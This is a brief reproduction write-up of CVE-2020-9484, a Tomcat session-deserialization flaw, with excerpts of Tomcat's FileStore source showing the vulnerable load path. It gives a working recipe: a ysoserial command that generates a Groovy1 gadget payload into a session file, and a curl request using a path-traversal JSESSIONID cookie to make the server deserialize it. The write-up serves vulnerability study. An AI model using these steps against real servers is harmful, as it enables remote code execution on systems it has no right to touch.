CVE-2020-9484：Tomcat Session 反序列化复现

java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" > /tmp/test.session

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

public Session load(String id) throws ClassNotFoundException, IOException {
        // Open an input stream to the specified pathname, if any        
        File file = file(id);        
        if (file == null || !file.exists()) {       
            return null;        
        }        
        Context context = getManager().getContext();        
        Log contextLog = context.getLogger();        
        if (contextLog.isDebugEnabled()) {       
            contextLog.debug(sm.getString(getStoreName()+".loading", id, file.getAbsolutePath()));        
        }        
        ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null);        
        try (FileInputStream fis = new FileInputStream(file.getAbsolutePath());           
                ObjectInputStream ois = getObjectInputStream(fis)) {            
            StandardSession session = (StandardSession) manager.createEmptySession();            
            session.readObjectData(ois);            
            session.setManager(manager);            
            return session;        
         } catch (FileNotFoundException e) {          
           if (contextLog.isDebugEnabled()) {              
              contextLog.debug("No persisted data file found");            
           }            
           return null;        
        } finally {       
           context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);        
        }    
  }

protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException {
        BufferedInputStream bis = new BufferedInputStream(is);        
        CustomObjectInputStream ois;        
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();        
        if (manager instanceof ManagerBase) {         
           ManagerBase managerBase = (ManagerBase) manager;            
           ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(),             
                  managerBase.getSessionAttributeValueClassNamePattern(),                    
                  managerBase.getWarnOnSessionAttributeFilterFailure());        
        } else {          
           ois = new CustomObjectInputStream(bis, classLoader);       
        }        
        return ois;    
  }